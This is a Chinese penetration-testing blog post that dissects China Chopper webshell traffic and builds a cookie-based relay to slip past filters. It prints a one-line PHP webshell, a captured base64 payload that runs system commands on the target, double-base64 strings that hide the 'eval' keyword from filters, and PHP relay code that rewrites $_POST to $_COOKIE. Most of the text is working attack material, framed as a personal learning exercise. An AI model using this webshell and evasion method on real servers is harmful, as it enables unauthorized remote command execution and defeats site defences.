[渗透测试]COOKIE中转与菜刀分析

Posted by
0x00 背景
遇到一个严苛的环境,所有执行代码都在COOKIE里面,一句话在cookie里,参数提交也必须在cookie里,因此写一个中转脚本进行转发。虽然最后研究出来的时候,已经用别的手段拿下了,不过也算是学习了菜刀的一些细节了,算是收获。接下来继续写我的socket转发去了。
0x01 分析过程
菜刀执行流程:
中转地址:
http://192.168.1.201:81/yyy.php
pass:
1
数据包格式:
1=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcXENhbGwub2YuRHV0eS1Xb3JsZC5hdC5XYXItR2FtZXJza3lcXA%3D%3D
解析:
@ini_set(“display_errors”,”0″);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“->|”);;$p=base64_decode($_POST[“z1”]);$s=base64_decode($_POST[“z2”]);$d=dirname($_SERVER[“SCRIPT_FILENAME”]);$c=substr($d,0,1)==”/”?”-c \”{$s}\””:”/c \”{$s}\””;$r=”{$p} {$c}”;@system($r.” 2>&1″,$ret);print ($ret!=0)?”
ret={$ret}
“:””;;echo(“|<-“);die();
base64字符集
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
=(等号) 属于特别字符,有时候去掉=或者加上=并不影响其编码与解码,出现在某次CTF中。
由于base64中包含了+、/、=的格式,因此原始数据包是经过base64编码一次再一次url编码。
其中pass值固定为:
1、1=@eval(base64_decode($_POST[z0]));
2、之后多个参数用z0、z1、z2递增
3、其参数之后都使用$_POST提交数据
一句话:
assert($_POST[1]);
则执行状态为:
assert(‘@eval(base64_decode($_POST[z0]));’);
实战场景:
1、所有$_POST提交数据都会被去除,仅可在$_COOKIE中获得。
2、不存在解码base64后过滤字符的情况,仅是过滤eval关键字。
思路:
1、替换提交数据包中所有$_POST参数至$_COOKIE参数中。
2、使用二次base64_decode解密,将eval加密到第二层去。
3、php的CURL控制cookie提交中转。
替换场景:
QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbejBdKSk7 <===> @eval(base64_decode($_POST[z0]));
@assert(base64_decode(‘QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbejBdKSk7’));
QGV2YWwoYmFzZTY0X2RlY29kZSgkX0NPT0tJRVt6MF0pKTs= <===> @eval(base64_decode($_COOKIE[z0]));
@eval(base64_decode($_COOKIE[z0]));
@assert(base64_decode(‘QGV2YWwoYmFzZTY0X2RlY29kZSgkX0NPT0tJRVt6MF0pKTs=’));
注意:
assert()仅会执行一条PHP语句。因此多语句一定要用eval来执行,也是其中@eval(base64_decode($_POST[z0]));执行了后续的所有代码。
由于assert($_POST[1])中$_POST[1]带入值会被解析成是字符串,但是自定义替换的时候一定要加入引号。
代码完成:
foreach ($post as $key => $val) {
if($key != ‘1’){ //1 是密码
$val = base64_decode($val);
$val = str_replace(‘$_POST’, ‘$_COOKIE’, $val);
$cookies.= “;”.$key.”=”.urlencode(base64_encode($val));
}else{
$cookies.= “;”.$key.”=@assert(base64_decode(‘QGV2YWwoYmFzZTY0X2RlY29kZSgkX0NPT0tJRVt6MF0pKTs=’))”;
}
0x02
全部写完的时候觉得好简单,但是中间的分析过程确实让我觉得有点难度。慢慢成长吧。

Leave a Reply

电子邮件地址不会被公开。 必填项已用*标注